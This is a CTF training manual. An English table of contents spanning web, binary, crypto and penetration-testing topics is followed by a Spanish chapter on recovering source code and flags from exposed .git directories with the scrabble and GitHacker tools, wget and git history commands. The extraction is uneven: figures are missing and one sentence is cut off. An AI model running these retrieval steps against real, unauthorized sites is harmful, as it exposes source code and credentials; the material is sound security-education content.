Manual para participantes CTF


Introduction to the Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.1 

Significant “Information Gathering” . . . . . . . . . . . . . . . . . . . . . 1 1.1.1 

The Importance of Information Gathering . . . . . . . . . . 1 1.1.2 

Classification of Information Collection . . . . . . . . . . . . 2 1.2 

SQL Injection in CTF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 1.2.1 

SQL Injection Basics . . . . . . . . . . . . . . . . . . . . . . . . . 10 1.2.2 

Injection Points . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 1.2.3 

Injection and Defense . . . . . . . . . . . . . . . . . . . . . . . . . 31 1.2.4 

Impacts of Injection . . . . . . . . . . . . . . . . . . . . . . . . . . 37 1.2.5 

SQL Injection Summary . . . . . . . . . . . . . . . . . . . . . . . 38 1.3 

Arbitrary File Read Vulnerability . . . . . . . . . . . . . . . . . . . . . . . 38 1.3.1 

Common Trigger Points for File Read Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 1.3.2 

Common Read Paths for File Read Vulnerabilities . . . . 45 1.3.3 File Read Vulnerability Example . . . . . . . . . . . . . . . . . 49 1.4 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 2 

Advanced Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

83 2.1 

SSRF Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

83 2.1.1 

SSRF Principle Analysis . . . . . . . . . . . . . . . . . . . . . . . 

84 2.1.2 

SSRF Vulnerability Finding and Testing . . . . . . . . . . . 

85 2.1.3 

SSRF Vulnerability Attack Mode . . . . . . . . . . . . . . . . 

86 2.1.4 

SSRF Bypassing . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

98 2.1.5 

SSRF in the CTF . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

107 2.2 

Command Execution Vulnerabilities . . . . . . . . . . . . . . . . . . . . 

112 2.2.1 

Principles of Command Execution and Test Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

112 2.2.2 

Command Execution Bypasses and Tricks . . . . . . . . . . 

116 2.2.3 

Real-life Command Execution Challenges and Answers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

122

The Magic of XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

127 2.3.1 

XSS Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

127 2.3.2 

XSS Tricks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

133 2.3.3 XSS 

Filtering and Bypass . . . . . . . . . . . . . . . . . . . . . . 

137 2.3.4 

XSS 

Bypass Case . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145 2.4 File Upload Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

151 2.4.1 

Basic File Upload Vulnerability . . . . . . . . . . . . . . . . . 

151 2.4.2 

Truncate to Bypass Upload Restrictions . . . . . . . . . . . . 

152 2.4.3 

File Suffix Blacklist Verification Bypass . . . . . . . . . . . 

157 2.4.4 

File Suffix Whitelist Verification Bypass . . . . . . . . . . . 

162 2.4.5 

File Access Forbidden Bypass . . . . . . . . . . . . . . . . . . . 

165 2.4.6 

Bypass Image Check to Achieve Code Execution . . . . . 

171 2.4.7 

Exploit with Upload the Generated Temporary File . . . 

174 2.4.8 

Use File_put_contents to Upload Files . . . . . . . . . . . . . 

177 2.4.9 

Upload Problems Caused by ZIP File Upload . . . . . . . . 

182 3 

Advanced Web Challenges . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

195 3.1 

Deserialization Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . 

195 3.1.1 

PHP Deserialization . . . . . . . . . . . . . . . . . . . . . . . . . . 

195 3.1.2 

Case Studies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

213 3.2 

Security Issues in Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

215 3.2.1 

Sandbox Escape . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

215 3.2.2 

Format Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

219 3.2.3 

Python Template Injection . . . . . . . . . . . . . . . . . . . . . 

221 3.2.4 

URllib and SSRF . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

222 3.2.5 

Deserialization in Python . . . . . . . . . . . . . . . . . . . . . . 

224 3.2.6 

Python XXE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

225 3.2.7 

sys.audit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

228 3.2.8 

CTF Python Cases . . . . . . . . . . . . . . . . . . . . . . . . . . . 

228 3.3 

Cryptography and Reverse Knowledge . . . . . . . . . . . . . . . . . . . 

230 3.3.1 

Cryptography Knowledge . . . . . . . . . . . . . . . . . . . . . . 

233 3.3.2 

Reverse Engineering in the Web . . . . . . . . . . . . . . . . . 

254 3.4 

Logic Flaws . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

260 3.4.1 

Common Logic Flaws . . . . . . . . . . . . . . . . . . . . . . . . 

261 3.4.2 

Logic Flaws in CTFs . . . . . . . . . . . . . . . . . . . . . . . . . 

266 3.4.3 

Summary of Logical Flaws . . . . . . . . . . . . . . . . . . . . . 

268 3.5 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

268 4 

APK . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

269 4.1 

Fundamentals of Android Development . . . . . . . . . . . . . . . . . . 

269 4.1.1 

The Four Android Components . . . . . . . . . . . . . . . . . . 

269 4.1.2 

APK File Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . 

270 4.1.3 

DEX File Format . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

271 4.1.4 

Android API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

272 4.1.5 

Android Sample Code . . . . . . . . . . . . . . . . . . . . . . . . 

273 

APK Reverse Tool . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

274 4.2.1 

JEB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

274 4.2.2 

IDA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

276 4.2.3 

Xposed Hook . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

279 4.2.4 

Frida Hook . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

282 4.3 

APK Anti-debugging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

283 4.4 

APK Unpacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

284 4.4.1 

Injecting Process and Dumping Memory . . . . . . . . . . . 

284 4.4.2 

Modifying the Source . . . . . . . . . . . . . . . . . . . . . . . . . 

285 4.4.3 

Class Overloading and DEX Reconstruction . . . . . . . . 

287 4.5 

APK in CTFs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

288 4.5.1 

OLLVM Obfuscated Native App Reverse (NJCTF 2017) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

288 4.5.2 

Anti-debugging and Anti-VM (XDCTF 2016) . . . . . . . 

291 4.6 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

293 5 

Reverse Engineering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

295 5.1 

Basics of Reverse Engineering . . . . . . . . . . . . . . . . . . . . . . . . . 

295 5.1.1 

Reverse Engineering Overview . . . . . . . . . . . . . . . . . . 

295 5.1.2 

Executable Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

295 5.1.3 

Basic Knowledge of Assembly Language . . . . . . . . . . 

297 5.1.4 

Introduction to Common Tools . . . . . . . . . . . . . . . . . . 

303 5.2 

Static Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

305 5.2.1 

Introduction to IDA Use . . . . . . . . . . . . . . . . . . . . . . . 

305 5.2.2 

Getting Started with the HexRays Decompiler . . . . . . . 

314 5.2.3 

Advanced Use of IDA and HexRays . . . . . . . . . . . . . . 

323 5.3 

Dynamic Debugging and Analysis . . . . . . . . . . . . . . . . . . . . . . 

329 5.3.1 

Rationale for Debugging . . . . . . . . . . . . . . . . . . . . . . . 

329 5.3.2 

OllyDBG and x64DBG . . . . . . . . . . . . . . . . . . . . . . . 

329 5.3.3 

GDB Debugging . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

335 5.3.4 

IDA Debugger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

338 5.4 

Common Algorithm Identification . . . . . . . . . . . . . . . . . . . . . . 

348 5.4.1 

Identify via Special Constants . . . . . . . . . . . . . . . . . . . 

348 5.4.2 

Identify via Featured Operations . . . . . . . . . . . . . . . . . 

350 5.4.3 

Third-Party Library IdentifIcation . . . . . . . . . . . . . . . . 

350 5.5 

Binary Code Protection and Obfuscation . . . . . . . . . . . . . . . . . 

353 5.5.1 

Anti Static Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . 

354 5.5.2 

Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

359 5.5.3 

Anti-debugging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

368 5.5.4 

Introduction to ollvm . . . . . . . . . . . . . . . . . . . . . . . . . 

378 5.6 

High-level Programming Language Reverse . . . . . . . . . . . . . . . 

379 5.6.1 

Rust and Go . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

380 5.6.2 

C# and Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

384 5.6.3 

C++ MFC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

386 

Modern Reverse Engineering Techniques . . . . . . . . . . . . . . . . . 

387 5.7.1 

Symbolic Execution . . . . . . . . . . . . . . . . . . . . . . . . . . 

388 5.7.2 

Binary Instrumentation . . . . . . . . . . . . . . . . . . . . . . . . 

401 5.7.3 

Pin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

403 5.8 

Special Techniques in Reverse . . . . . . . . . . . . . . . . . . . . . . . . . 

423 5.8.1 

Hook . . . . . . . . . . . ..

. . . . . . . . . . . . . . . . . . . . . . . . 

423 5.8.2 

Making Smart Use of Existing Program Code . . . . . . . 

424 5.8.3 

Dump Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

425 5.9 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

426 6 

PWN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

429 6.1 

Basic Knowledge for PWN . . . . . . . . . . . . . . . . . . . . . . . . . . . 

429 6.1.1 

What Is PWN? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

429 6.1.2 

How to Learn PWN . . . . . . . . . . . . . . . . . . . . . . . . . . 

429 6.1.3 

Linux Basic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

431 6.2 

Integer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

437 6.2.1 

Operations with Integers . . . . . . . . . . . . . . . . . . . . . . . 

437 6.2.2 

How to Use Integer Overflow . . . . . . . . . . . . . . . . . . . 

437 6.3 

Stack Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

438 6.4 

Return-Oriented Programming . . . . . . . . . . . . . . . . . . . . . . . . . 

444 6.5 

Format String Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . 

449  6.5.1 

Format String Vulnerability Fundamental . . . . . . . . . . . 

449 6.5.2 

Basic Format String Vulnerability Exploits . . . . . . . . . 

451 6.5.3 

When Format String Not on the Stack . . . . . . . . . . . . . 

454 6.5.4 

Some Special Uses of Format String . . . . . . . . . . . . . . 

456 6.5.5 

Format String Summary . . . . . . . . . . . . . . . . . . . . . . . 

458 6.6 

Heap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

458 6.6.1 

What Is Heap? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

458 6.6.2 

Simple Heap Overflow . . . . . . . . . . . . . . . . . . . . . . . .

460 6.6.3 

Exploits Heap Memory Vulnerability . . . . . . . . . . . . . . 

461 6.7 

Linux Kernel PWN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

487 6.7.1 

Running a Kernel . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

487 6.7.2 

Network Configuration . . . . . . . . . . . . . . . . . . . . . . . . 

488 6.7.3 

File System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

488 6.7.4 

Initialization Scripts . . . . . . . . . . . . . . . . . . . . . . . . . . 

489 6.7.5 

Kernel Debugging . . . . . . . . . . . . . 

. . . . . . . . . . . . . . 

490 6.7.6 

Analyzing the Program . . . . . . . . . . . . . . . . . . . . . . . . 

490 6.7.7

Exploitation of Vulnerabilities . . . . . . . . . . . . . . . . . . . 

491 6.7.8 

PWN Linux Summary . . . . . . . . . . . . . . . . . . . . . . . . 

494 6.7.9 

Linux Kernel PWN Babydriver Source Code . . . . . . . . 

495 6.8 

PWN for Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

497 6.8.1 

Permission Management for Windows . . . . . . . . . . . . . 

498 6.8.2 

Calling Conventions for Windows . . . . . . . . . . . . . . . . 

499 6.8.3 

Vulnerability Mitigation Mechanisms for Windows . . . 

499 6.8.4 

PWN Techniques for Windows . . . . . . . . . . . . . . . . . . 

502 

Windows Kernel PWN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

503 6.9.1 

About Windows OS . . . . . . . . . . . . . . . . . . . . . . . . . . 

503 6.9.2 

Windows Kernel Vulnerabilities . . . . . . . . . . . . . . . . . 

520 6.9.3 

References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

547 6.10 

From CTF to Real-World PWNs . . . . . . . . . . . . . . . . . . . . . . . 

547 6.11 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

550 7 

Crypto . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

553 7.1 

Encoding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

554 7.1.1 

The Concept of Encoding . . . . . . . . . . . . . . . . . . . . . . 

554 7.1.2 

Base Encoding Family . . . . . . . . . . . . . . . . . . . . . . . . 

555 7.1.3 

Other Encodings . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

557 7.1.4 

Encoding Summary . . . . . . . . . . . . . . . . . . . . . . . . . . 

557 7.2 

Classical Ciphers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

558 7.2.1 

Linear Mapping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

558 7.2.2 

Fixed Substitution . . . . . . . . . . . . . . . . . . . . . . . . . . . 

559 7.2.3 

Shift Ciphers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

560 7.2.4 

Classical Cipher Summary . . . . . . . . . . . . . . . . . . . . . 

561 7.3 

Block Ciphers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

561 7.3.1 

Common 

Modes of Operations . . . . . . . . . . . . . . . . . . 

562 7.3.2 

Feistel Cipher and DES . . . . . . . . . . . . . . . . . . . . . . . 

566 7.3.3 

AES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

572 7.4 

Stream Cipher . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

583 7.4.1 

Linear Congruential Generator (LCG) . . . . . . . . . . . . . 

584 7.4.2 

Linear Feedback Shift Register (LFSR) . . . . . . . . . . . . 

588 7.4.3 

RC4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

591 7.5 

Public Key Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

592 7.5.1 

Introduction to Public Key Cryptography . . . . . . . . . . . 

592 7.5.2 

RSA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

593 7.5.3 

Discrete Logarithms . . . . . . . . . . . . . . . . . . . . . . . . . . 

600 7.6 

Other Common Cryptography Applications . . . . . . . . . . . . . . . 

603 7.6.1 

Diffie-Hellman Key Exchange . . . . . . . . . . . . . . . . . . . 

603 7.6.2 

Hash Length Extension Attack . . . . . . . . . . . . . . . . . . 

605 7.6.3 

Shamir’s Threshold Scheme . . . . . . . . . . . . . . . . . . . . 

607 7.7 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

608 8 

Smart Contracts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

609 8.1 

Smart Contracts Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

609 8.1.1 

Introduction to Smart Contracts . . . . . . . . . . . . . . . . . . 

609 8.1.2 

Environment and Tools . . . . . . . . . . . . . . . . . . . . . . . . 

610 8.2 

Examples of Smart Contract Topics in Ethereum . . . . . . . . . . . . 

611 8.2.1 

“AirDrop” . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

611 8.2.2 

Using Remix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

616 8.2.3 

Deeper Understanding of the Ethereum Blockchain . . . 

620 8.3 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

626 

Misc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

627 9.1 

Steganography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

628 9.1.1 

File Concentration . . . . . . . . . . . . . . . . . . . . . . . . . . . 

628 9.1.2 

EXIF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

631 9.1.3 

LSB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

632 9.1.4 

Blind Watermarks . . . . . . . . . . . . . . . . . . . . . . . . . . . 

635 9.1.5 

Steganography Summary . . . . . . . . . . . . . . . . . . . . . . 

637 9.2 

Compressed Archive Encryption . . . . . . . . . . . . . . . . . . . . . . . 

637 9.3 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

639 9.4 

Forensic Techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 639 9.4.1

Traffic Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 639 9.4.2 

Memory Image Forensics . . . . . . . . . . . . . . . . . . . . . . 

645 9.4.3 

Disk Image Forensics . . . . . . . . . . . . . . . . . . . . . . . . . 

648 9.5 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

650 10 

Code Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

651 10.1 

PHP Code Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

651 10.1.1 

Environment Building . . . . . . . . . . . . . . . . . . . . . . . . 

651 10.1.2 

How to Audit . . . . . . . . . . . . . . . . . . 

. . . . . . . . . . . . . 

659 10.1.3 

Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

673 10.2 

Java Code Auditing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

684 10.2.1 

Learning Experiences . . . . . . . . . . . . . . . . . . . . . . . . . 

684 10.2.2 

Environment Configuration . . . . . . . . . . . . . . . . . . . . . 

686 10.2.3 

Decompilation Tools . . . . . . . . . . . . . . . . . . . . . . . . . 

690 10.2.4 

Introduction to Servlets . . . . . . . . . . . . . . . . . . . . . . . . 

690 10.2.5 

Introduction to Serializable . . . . . . . . . . . . . . . . . . . . . 

694 10.2.6 

Deserialization Vulnerabilities . . . . . . . . . . . . . . . . . . . 

697 10.2.7 

Expression Injection . . . . . . . . . . . . . . . . . . . . . . . . . . 

705 10.2.8 

Vulnerability Exploits of the Java Web . . . . . . . . . . . . 

714 10.3 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

723 11 

AWD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

725 11.1 

Preparation for the Competition . . . . . . . . . . . . . . . . . . . . . . . . 

725 11.2 

AWD Tricks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . 728 11.2.1 

How to React Quickly . . . . . . . . . . . . . . . . . . . . . . . . 

728 11.2.2 

How to Capture Flags Gracefully and Persistently . . . . 

729 11.2.3 

Leading or Trailing . . . . . . . . . . . . . . . . . . . . . . . . . . 

733 11.3 

Traffic Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

734 11.4 

Patching Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

734 11.5 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

735 12 

Virtual Target Penetration Test . . . . . . . . . . . . . . . . . . . . . . . . . . . 

737 12.1 

Creating a Penetration Test Environment . . . . . . . . . . . . . . . . . 

737 12.1.1 

Installing and Using Metasploit on Linux . . . . . . . . . . . 

737 12.1.2 

Installing and Using Nmap on Linux . . . . . . . . . . . . . . 

743 12.1.3 

Installing and Using Proxychains on Linux . . . . . . . . . 

745 12.1.4 

Installing and Using Hydra on Linux . . . . . . . . . . . . . . 

747 12.1.5 

Installation of PentestBox on Windows . . . . . . . . . . . .

748 12.1.6 

Proxifier Installation on Windows . . . . . . . . . . . . . . . . 

749 12.2 

Port Forwarding and Proxies . . . . . . . . . . . . . . . . . . . . . . . . . . 750 12.2.1 

Port Forwarding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

752 12.2.2 

Socks Proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

759 12.3 

Well-Known Vulnerability Exploits . . . . . . . . . . . . . . . . . . . . . 

760 12.3.1 

ms08-067 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

761 12.3.2 

ms14-068 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

761 12.3.3 

ms17-010 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

763 12.4 

Obtaining Authentication Credentials . . . . . . . . . . . . . . . . . . . . 

765 12.4.1 

Obtaining Plaintext Identity Credentials . . . . . . . . . . . . 

766 12.4.2 

Obtaining Hash Identity Credentials . . . . . . . . . . . . . . 

774 12.5 

Lateral Movement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

777 12.5.1 

Hash Passing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

778 12.5.2 

Passing of Tickets . . . . . . . . . . . . . . . . . . . . . . . . . . . 

780 12.6 

Penetration Test Challenges in Practice . . . . . . 

788 12.6.1 

DefCon China Shooting Range Questions . . . . . . . . . . 

788 12.7 

Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..796


Capítulo 1 Introducción a la Web Los desafíos web se pueden encontrar en todas partes en competiciones tradicionales de CTF. Son más fáciles de comenzar porque no requieren un conocimiento profundo de sistemas operativos e instrucciones de ensamblaje complicadas como los desafíos de PWN y Reverse.

Por otro lado, no requieren habilidades de programación sólidas en comparación con los desafíos de Crypto y MISC.

Este capítulo presentará algunas vulnerabilidades web comunes en competiciones en línea de CTF y proporcionará a los lectores un concepto relativamente completo de las competiciones en línea de CTF mediante el análisis de ejemplos del mundo real. Sin embargo, la clasificación de las vulnerabilidades web es muy complicada. Sería mejor que los lectores pudieran aprender conocimientos relacionados en Internet mientras leen este libro para obtener el mejor efecto.

Basándonos en la frecuencia y complejidad de las técnicas para resolver desafíos, dividimos los desafíos web en tres niveles: introductorio, avanzado y extendido.

En este capítulo, presentaremos los desafíos de cada grupo complementados con ejemplos del mundo real. Los lectores podrán comprender cómo diferentes vulnerabilidades desempeñan un papel en la resolución de desafíos, mejorando paso a paso y volviéndose profesionales. Este capítulo comienza desde el nivel "introductorio" para presentar las tres técnicas más comunes en la resolución de desafíos web: Recopilación de Información, Ataque de Inyección SQL y Ataque de Lectura de Archivos Arbitrarios.

1.1 Significado de "Recopilación de Información" 1.1.1 Importancia de la Recopilación de Información 

Como dice el viejo refrán, "El conocimiento precede a la victoria; La confusión precede a la derrota".

La recopilación de información desempeña un papel esencial en la búsqueda de BUGs. En la competencia en línea de CTF, la recopilación de información abarca una amplia gama de datos, como archivos de respaldo, información de directorios, información de banners, etc. Para encontrar vulnerabilidades más rápido, los cazadores de BUGs deben estar familiarizados con la recopilación de esa información y cómo ayudará la información. Afortunadamente, ahora hay una gran cantidad de scripts de escaneo de código abierto hábiles disponibles. En esta sección, se mencionarán la mayoría de las técnicas de recopilación de información, incluidas las herramientas de código abierto útiles o el software comercial.

1.1.2 Clasificación de la Recopilación de Información En las subsecciones siguientes, discutiremos las técnicas básicas de recopilación de información desde tres aspectos: Fugas de Directorios Sensibles, Fugas de Archivos de Respaldo Sensibles y Fugas de Identificación de Banners.

1.1.2.1 Fugas de Directorios Sensibles Debido a operaciones irregulares, muchos archivos ocultos con información sensible quedarán en el directorio para ser accedidos de forma remota y anónima. Los atacantes pueden usar estos archivos para obtener información importante como códigos fuente y todos los nombres de archivos en la guía.


Fugas de Git 【Introducción a la Vulnerabilidad】 Git es un sistema de control de versiones de código primario y distribuido, y generará automáticamente una carpeta .git para guardar la información de la rama. A menudo, los desarrolladores olvidan eliminar la carpeta .git en el entorno de producción, lo que permite a un atacante acceder a todas las versiones de los códigos fuente enviados por los desarrolladores.

Los atacantes podrían encontrar más fácilmente vulnerabilidades del sitio web u obtener información sensible como nombres de usuario/contraseñas/correos electrónicos.

(1) Fugas básicas de Git en CTF Fugas básicas de Git: este tipo de fuga requiere que una carpeta .git tenga una estructura de archivos completa y toda la información sensible pueda encontrarse en la última confirmación. Los jugadores de CTF deben obtener la identificación de la confirmación más reciente en el archivo .git/HEAD y luego usar el algoritmo de Git para recuperar archivos de código fuente que se restauran en la carpeta .git/objects/ para realizar el proceso de explotación. Ahora, muchas herramientas pueden rastrear automáticamente estos objetos Git desde la carpeta .git y recuperarlos. Recomendamos encarecidamente una herramienta: https://github.com/denny0223/scrabble. Es fácil de usar:

. /scrabble http://ejemplo.com/ Construye tu entorno web localmente (el directorio actual es /var/www/html/, que es el directorio web predeterminado de Apache). Consulta la Fig. 1.1.

Ejecuta la herramienta para obtener el código fuente y obtener la bandera. Consulta la Fig. 1.2.



Recopilación de Información Significativa (3) Fuga de Reversión de Git Como sistema de control de versiones, Git realiza un seguimiento de los cambios en las confirmaciones. Si un desafío de CTF tiene una fuga de Git, es posible que el archivo de la bandera haya sido eliminado o sobrescrito después de varias confirmaciones. La confirmación más reciente no incluye ninguna información sensible.

Afortunadamente, Git ha guardado todas las versiones de confirmaciones en la carpeta .git. Podemos usar el comando "git reset" para revertir a otra versión. Construyendo tu entorno localmente, consulta la Fig. 1.3.

Para aprovechar este tipo de fuga, primero usamos la herramienta scrabble para rastrear los archivos .git y luego podemos usar el comando "git reset --hard HEAD^" para retroceder a la versión anterior. (Nota: HEAD representa la versión actual/más reciente en el sistema Git, la versión anterior podría marcarse como HEAD^), consulta la Fig. 1.4



Además de usar "git reset", una forma más directa de ver qué archivos han sido modificados por cada confirmación es usar el comando "git log --stat", y luego usar el comando "git diff HEAD commit-id" para comparar los cambios entre la versión actual y otras versiones.

Rama de Git Después de cada confirmación, Git automáticamente las coloca en una línea de tiempo llamada "rama". Git permite que múltiples ramas separen su trabajo de la rama principal de desarrollo, sin afectar la rama principal. Si no hay una nueva rama, solo existe una rama predeterminada llamada "master". En la mayoría de las condiciones, los objetos de Git se pueden recuperar fácilmente de la rama principal. Sin embargo, la bandera o archivos sensibles que estamos buscando pueden no existir en la rama principal. El uso del comando "git log" solo puede encontrar los cambios en la rama actual, por lo que necesitamos cambiar a otras ramas para recuperar los archivos objetivo.

En la actualidad, la mayoría de las herramientas que apuntan a explotar la fuga de Git no admiten el cambio de ramas. Se requieren esfuerzos manuales. Tomemos  GitHacker (https://github.com/WangYihang/GitHacker) como ejemplo. El uso de GitHacker es sencillo:

Ejecuta el comando "python GitHacker.py http://targethost:targetport/.git/". Después de la ejecución, todos los archivos de Git en el host remoto se descargan automáticamente en una carpeta local. Después de ingresar a la carpeta y ejecutar el comando "git log --all" o "git branch -v", solo se presenta la información de la rama principal. Sin embargo, después de ejecutar el comando "git reflog", se pueden encontrar algunos registros de checkout, como se muestra en la Fig. 1.5.



Como puedes ver, además de la rama principal, hay una rama secreta, pero la herramienta de automatización solo restaura la información de la rama principal, por lo que debes descargar manualmente la información de la cabeza de la rama secreta y guardarla en .git/refs/heads/secret (ejecuta el comando "wget http://127.0.0.1:8000/.git/refs/heads/secret"). Después de recuperar la información de la cabeza, podemos reutilizar parte del código de GitHacker para restaurar automáticamente la rama. Como se puede ver en el fragmento de código de GitHacker, primero descarga los archivos de objetos de Git tanto como sea posible, luego utiliza "Git fsck" para verificarlos y continúa descargando los archivos que faltan. Aquí puedes reutilizar la función "fixmissing" que verifica y restaura los archivos que faltan. Eliminemos el script que llama a la función principal y modifiquemos el código de acuerdo


Después de realizar los cambios, vuelve a ejecutar el comando "python GitHacker.py", entra nuevamente en la carpeta generada y ejecuta el comando "git log --all" o "branch -v", la información de la rama secreta se puede restaurar, encuentra el hash de confirmación correspondiente en el registro de Git, ejecuta el comando "git diff HEAD b94c" y luego ejecuta "git diff HEAD b94c". ¡Se captura una bandera! Consulta la Fig. 1.6.



